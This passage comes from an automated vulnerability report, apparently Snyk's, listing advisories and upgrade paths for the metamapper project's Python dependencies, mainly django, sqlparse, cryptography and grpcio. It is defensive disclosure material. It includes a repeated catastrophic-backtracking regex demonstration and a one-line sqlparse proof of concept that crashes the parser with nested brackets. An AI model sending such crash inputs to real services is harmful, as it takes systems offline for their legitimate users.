  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade django to version 3.2.24, 4.2.10, 5.0.2 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@3.2.20.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the EmailValidator and URLValidator classes, when processing a very large number of domain name labels on emails or URLs.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade django to version 3.2.20, 4.1.10, 4.2.3 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: future
  • Introduced through: future@0.18.2 and celery@4.4.6

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper future@0.18.2
    Remediation: Upgrade to future@0.18.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper celery@4.4.6 future@0.18.2
    Remediation: Upgrade to celery@4.4.7.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via a crafted Set-Cookie HEADER from a malicious web server.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade future to version 0.18.3 or higher.

References

high severity

Excessive Iteration

  • Vulnerable module: grpcio
  • Introduced through: grpcio@1.44.0, google-cloud-bigquery@3.0.1 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper grpcio@1.44.0
    Remediation: Upgrade to grpcio@1.53.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 grpcio@1.44.0
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper grpcio-status@1.44.0 grpcio@1.44.0
    Remediation: Upgrade to grpcio-status@1.57.0.

Overview

Affected versions of this package are vulnerable to Excessive Iteration. Specially crafted requests can cause a termination of connection between a proxy and a backend.

Remediation

Upgrade grpcio to version 1.53.2, 1.54.3, 1.55.3, 1.56.2 or higher.

References

high severity

Uncaught Exception

  • Vulnerable module: grpcio
  • Introduced through: grpcio@1.44.0, google-cloud-bigquery@3.0.1 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper grpcio@1.44.0
    Remediation: Upgrade to grpcio@1.53.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 grpcio@1.44.0
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper grpcio-status@1.44.0 grpcio@1.44.0
    Remediation: Upgrade to grpcio-status@1.57.0.

Overview

grpcio is a None

Affected versions of this package are vulnerable to Uncaught Exception. due to the lack of error handling in the TCP server. An attacker can cause a denial of service by initiating a significant number of connections with the server.

Note:

This is only exploitable if the server is running on posix-compatible platforms such as Linux.

Remediation

Upgrade grpcio to version 1.53.2, 1.54.3, 1.55.3, 1.56.2 or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: gunicorn
  • Introduced through: gunicorn@20.1.0

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper gunicorn@20.1.0
    Remediation: Upgrade to gunicorn@22.0.0.

Overview

gunicorn is a Python WSGI HTTP Server for UNIX

Affected versions of this package are vulnerable to HTTP Request Smuggling due to the improper validation of Transfer-Encoding headers. An attacker can bypass security restrictions and access restricted endpoints by crafting requests with conflicting Transfer-Encoding headers.

Notes:

  1. This is only exploitable if users have a network path which does not filter out invalid requests;

  2. Users are advised to block access to restricted endpoints via a firewall or other mechanism until a fix can be developed.

  3. This issue arises from the application's incorrectly processing of requests with multiple, conflicting Transfer-Encoding headers, treating them as chunked regardless of the final encoding specified.

Remediation

Upgrade gunicorn to version 22.0.0 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: mysql-connector-python
  • Introduced through: mysql-connector-python@8.0.28

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper mysql-connector-python@8.0.28
    Remediation: Upgrade to mysql-connector-python@8.4.0.

Overview

mysql-connector-python is a MySQL driver written in Python which does not depend on MySQL C client libraries and implements the DB API v2.0 specification (PEP-249).

Affected versions of this package are vulnerable to Denial of Service (DoS) allowing an unauthenticated attacker with network access via multiple protocols to compromise MySQL Connectors. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Connectors.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade mysql-connector-python to version 8.4.0 or higher.

References

high severity

Improper Control of Generation of Code ('Code Injection')

  • Vulnerable module: setuptools
  • Introduced through: gunicorn@20.1.0 and snowflake-connector-python@2.7.3

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper gunicorn@20.1.0 setuptools@40.5.0
    Remediation: Upgrade to gunicorn@20.1.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 setuptools@40.5.0
    Remediation: Upgrade to snowflake-connector-python@3.0.1.

Overview

Affected versions of this package are vulnerable to Improper Control of Generation of Code ('Code Injection') through the package_index module's download functions due to the unsafe usage of os.system. An attacker can execute arbitrary commands on the system by providing malicious URLs or manipulating the URLs retrieved from package index servers.

Note

Because easy_install and package_index are deprecated, the exploitation surface is reduced, but it's conceivable through social engineering or minor compromise to a package index could grant remote access.

Remediation

Upgrade setuptools to version 70.0.0 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: sqlparse
  • Introduced through: sqlparse@0.4.2, django@3.2.12 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper sqlparse@0.4.2
    Remediation: Upgrade to sqlparse@0.4.4.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12 sqlparse@0.4.2
    Remediation: Upgrade to django@3.2.22.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper sql-metadata@2.6.0 sqlparse@0.4.2
    Remediation: Upgrade to sql-metadata@2.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12 sqlparse@0.4.2
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12 sqlparse@0.4.2
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12 sqlparse@0.4.2
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12 sqlparse@0.4.2
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12 sqlparse@0.4.2
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12 sqlparse@0.4.2
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12 sqlparse@0.4.2
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12 sqlparse@0.4.2
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12 sqlparse@0.4.2
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to using an inefficient pattern which can cause excessive backtracking, leading to performance degradation.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade sqlparse to version 0.4.4 or higher.

References

high severity

Uncontrolled Recursion

  • Vulnerable module: sqlparse
  • Introduced through: sqlparse@0.4.2, django@3.2.12 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper sqlparse@0.4.2
    Remediation: Upgrade to sqlparse@0.5.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12 sqlparse@0.4.2
    Remediation: Upgrade to django@3.2.22.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper sql-metadata@2.6.0 sqlparse@0.4.2
    Remediation: Upgrade to sql-metadata@2.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12 sqlparse@0.4.2
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12 sqlparse@0.4.2
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12 sqlparse@0.4.2
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12 sqlparse@0.4.2
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12 sqlparse@0.4.2
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12 sqlparse@0.4.2
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12 sqlparse@0.4.2
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12 sqlparse@0.4.2
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12 sqlparse@0.4.2
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion due to the parsing of heavily nested lists. An attacker can cause the application to crash by submitting a specially crafted list that triggers a RecursionError.

Note: The impact depends on the use, so anyone parsing a user input with sqlparse.parse() is affected.

PoC


import sqlparse
sqlparse.parse('[' * 10000 + ']' * 10000)

Remediation

Upgrade sqlparse to version 0.5.0 or higher.

References

high severity

Access of Resource Using Incompatible Type ('Type Confusion')

  • Vulnerable module: cryptography
  • Introduced through: cryptography@36.0.2, paramiko@2.10.3 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper cryptography@36.0.2
    Remediation: Upgrade to cryptography@39.0.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper paramiko@2.10.3 cryptography@36.0.2
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to pyopenssl@23.3.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper sshtunnel@0.4.0 paramiko@2.10.3 cryptography@36.0.2
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@2.7.3.

Overview

Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') in x509/v3_genn.c, when processing X.400 addresses with CRL checking enabled (e.g. when X509_V_FLAG_CRL_CHECK is set). An attacker in possession of both the certificate chain and CRL, of which neither needs a valid signature, can expose memory or cause a denial of service. If the attacker only controls one of these inputs, the other input must already contain an X.400 address as a CRL distribution point, which is uncommon.

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

high severity

Use of a Broken or Risky Cryptographic Algorithm

  • Vulnerable module: pyjwt
  • Introduced through: pyjwt@1.7.1, django-graphql-jwt@0.3.1 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pyjwt@1.7.1
    Remediation: Upgrade to pyjwt@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 pyjwt@1.7.1
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework-jwt@1.11.0 pyjwt@1.7.1
    Remediation: Upgrade to djangorestframework-jwt@1.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 pyjwt@1.7.1
    Remediation: Upgrade to snowflake-connector-python@3.1.1.

Overview

PyJWT is a Python implementation of RFC 7519.

Affected versions of this package are vulnerable to Use of a Broken or Risky Cryptographic Algorithm via non-blacklisted public key formats, leading to key confusion.

Remediation

Upgrade PyJWT to version 2.4.0 or higher.

References

high severity

SQL Injection

  • Vulnerable module: snowflake-connector-python
  • Introduced through: snowflake-connector-python@2.7.3

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3
    Remediation: Upgrade to snowflake-connector-python@3.13.1.

Overview

snowflake-connector-python is a Snowflake Connector for Python

Affected versions of this package are vulnerable to SQL Injection in the write_pandas function, due to missing sanitization.

Note: Only a limited set of query types are not properly parameterized, and any SQL executed by the attacker will run in the context of the current session only.

Remediation

Upgrade snowflake-connector-python to version 3.13.1 or higher.

References

high severity

Buffer Overflow

  • Vulnerable module: cryptography
  • Introduced through: cryptography@36.0.2, paramiko@2.10.3 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper cryptography@36.0.2
    Remediation: Upgrade to cryptography@38.0.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper paramiko@2.10.3 cryptography@36.0.2
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to pyopenssl@23.3.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper sshtunnel@0.4.0 paramiko@2.10.3 cryptography@36.0.2
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@2.7.3.

Overview

Affected versions of this package are vulnerable to Buffer Overflow. A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. Note that this occurs after certificate chain signature verification and requires either a CA to have signed the malicious certificate or for the application to continue certificate verification despite failure to construct a path to a trusted issuer.

An attacker can craft a malicious email address to overflow an arbitrary number of bytes containing the . character (decimal 46) on the stack. This buffer overflow could result in a crash (causing a denial of service).

A full break down of this vulnerability can be found in our technical deep dive.

NOTE: The Node.js project has announced that 18.x and 19.x releases are affected, and fixed versions are expected on or soon after November 3. This advisory will be updated accordingly when they are released.

Changelog

November 1, 2022 - Advisory published.

November 2, 2022 - Node.js listed as affected, in advance of fix.

November 5, 2022 - Node.js fixed versions added.

Remediation

Upgrade cryptography to version 38.0.3 or higher.

References

high severity

Command Injection

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@4.2.17.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Affected versions of this package are vulnerable to Command Injection via certain inputs containing large sequences of nested incomplete HTML entities submitted to the strip_tags function and striptags template filter. An attacker can cause the application to consume excessive resources.

Remediation

Upgrade django to version 4.2.17, 5.0.10, 5.1.4 or higher.

References

high severity

SQL Injection

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@4.2.24.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.

Affected versions of this package are vulnerable to SQL Injection in the FilteredRelation class when a specially crafted dictionary is used with dictionary expansion as the **kwargs passed to QuerySet.annotate or QuerySet.alias. An attacker can execute arbitrary SQL commands by supplying malicious input to these parameters.

Remediation

Upgrade Django to version 4.2.24, 5.1.12, 5.2.6 or higher.

References

high severity

SQL Injection

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@4.2.27.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
